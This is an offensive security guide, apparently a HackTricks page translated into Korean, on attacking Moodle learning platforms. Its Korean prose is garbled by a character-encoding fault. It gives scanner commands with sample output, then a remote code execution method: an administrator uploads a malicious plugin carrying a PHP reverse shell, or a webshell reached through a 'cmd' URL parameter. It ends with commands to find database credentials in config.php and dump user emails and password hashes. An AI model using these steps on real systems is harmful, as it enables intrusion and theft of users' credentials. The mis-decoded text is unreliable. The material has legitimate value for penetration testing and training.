Moodle

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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์ž๋™ ์Šค์บ”

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

๋‚˜๋Š” ์ž๋™ ๋„๊ตฌ๊ฐ€ ๋ฌด๋“ค ๋ฒ„์ „์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๋ฐ ๋งค์šฐ ์“ธ๋ชจ์—†๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค. ๋‹น์‹ ์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค: https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

๋‹น์‹ ์€ ๊ด€๋ฆฌ์ž ์—ญํ• ์„ ๊ฐ€์ ธ์•ผ ํ•˜๋ฉฐ โ€œ์‚ฌ์ดํŠธ ๊ด€๋ฆฌโ€ ํƒญ ์•ˆ์— ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋‹ค:

๊ด€๋ฆฌ์ž๋ผ๋ฉด ์—ฌ์ „ํžˆ ์ด ์˜ต์…˜์„ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ๋‹ค. ๋ฌด๋“ค ๊ถŒํ•œ ์ƒ์Šน PoC์—์„œ ์–ด๋–ป๊ฒŒ ํ•˜๋Š”์ง€ ๋ณผ ์ˆ˜ ์žˆ๋‹ค: https://github.com/HoangKien1020/CVE-2020-14321.

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋‹ค์Œ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ๊ณ ์ „์ ์ธ pentest-monkey php rev shell์„ ํฌํ•จํ•˜๊ณ  ์žˆ๋‹ค (์—…๋กœ๋“œํ•˜๊ธฐ ์ „์— ์••์ถ•์„ ํ’€๊ณ , revshell์˜ IP์™€ ํฌํŠธ๋ฅผ ๋ณ€๊ฒฝํ•œ ํ›„ ๋‹ค์‹œ ์••์ถ•ํ•ด์•ผ ํ•œ๋‹ค)

๋˜๋Š” https://github.com/HoangKien1020/Moodle_RCE์—์„œ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์‚ฌ์šฉํ•˜์—ฌ โ€œcmdโ€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ฐ€์ง„ ์ผ๋ฐ˜ PHP ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

์•…์„ฑ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ์— ์ ‘๊ทผํ•ด์•ผ ํ•œ๋‹ค:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ž๊ฒฉ ์ฆ๋ช… ์ฐพ๊ธฐ

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์ž๊ฒฉ ์ฆ๋ช… ๋คํ”„ํ•˜๊ธฐ

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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